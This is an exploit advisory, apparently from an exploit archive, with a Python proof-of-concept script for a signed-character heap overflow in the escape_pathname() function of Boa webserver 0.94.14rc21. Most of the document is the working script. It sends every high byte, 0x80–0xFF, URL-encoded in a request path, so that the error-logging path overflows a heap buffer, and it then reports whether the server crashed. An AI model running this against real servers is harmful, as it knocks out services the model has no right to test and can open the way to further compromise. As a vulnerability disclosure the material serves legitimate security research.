Boa Webserver 0.94.14rc21 Signed-Character Heap Overflow

===================================================================================================================================
|# Title      : Boa 0.94.14rc21 Signed-Char Heap Overflow                                                                         |
|# Author     : indoushka                                                                                                         |
|# Tested on  : Boa 0.94.14rc21 – Debian build                                                                                    |
|# File type  : POC Security Testing Script / HTTP Probe                                                                          |
|# Vendor     : Boa Webserver                                                                                                     |
===================================================================================================================================

[+] Summary : A Python-based HTTP probe intended to investigate a suspected heap buffer overflow in Boa's escape_pathname() implementation. 
              It submits URL-encoded high-byte values (0x80–0xFF) to a potentially vulnerable request path.

[+] Technical Classification :

Memory Safety

Heap Buffer Overflow

Signed-Character Conversion

Integer Sign Extension

HTTP Request Processing

Error-Logging Path

[+]  POC :

#!/usr/bin/env python3

import requests
import sys

def exploit_signed_char_overflow(target_url: str, timeout=10):
    """
    On Debian's vulnerable escape_pathname():
    - Input byte 0x80..0xFF sign-extends to negative int
    - snprintf produces ~10 chars instead of 4
    - Result: heap buffer overflow during error logging
    
    We send many high bytes in the path. The file must NOT exist
    so log_error_doc() is called with the path.
    """
    high_bytes = bytes(range(0x80, 0x100)) 
    encoded = "".join(f"%{b:02X}" for b in high_bytes)
    
    url = f"{target_url.rstrip('/')}/{encoded}"
    
    print(f"[*] Target: {target_url}")
    print(f"[*] Sending {len(high_bytes)} high bytes (0x80-0xFF)")
    print(f"[*] URL length: {len(url)} chars")
    
    try:
        r = requests.get(url, timeout=timeout, allow_redirects=False)
        print(f"[*] HTTP {r.status_code}")
        
        if r.status_code in (400, 414):  
            print("[!] URL too long — Boa rejected it before logging.")
            print("    Try smaller chunks or use headers.")
            return {"status": "rejected", "http": r.status_code}
        
        print("[*] Request accepted (likely 404) — check for crash:")
        print("    - Boa process died? -> heap overflow succeeded")
        print("    - Check dmesg/segfault in logs")
        print("    - ASan build would show: heap-buffer-overflow in escape_pathname")
        
        return {"status": "sent", "http": r.status_code}
        
    except requests.exceptions.ConnectionError:
        print("[!] Connection failed — Boa may have crashed (overflow succeeded)")
        return {"status": "crashed"}
    except Exception as e:
        print(f"[-] Error: {e}")
        return {"status": "error", "error": str(e)}

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 overflow.py <url>")
        print("AUTHORIZED LAB ONLY")
        sys.exit(1)
    confirm = input("Type 'AUTHORIZED' to confirm: ")
    if confirm != "AUTHORIZED":
        print("[-] Aborted.")
        sys.exit(1)
    
    exploit_signed_char_overflow(sys.argv[1])


Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================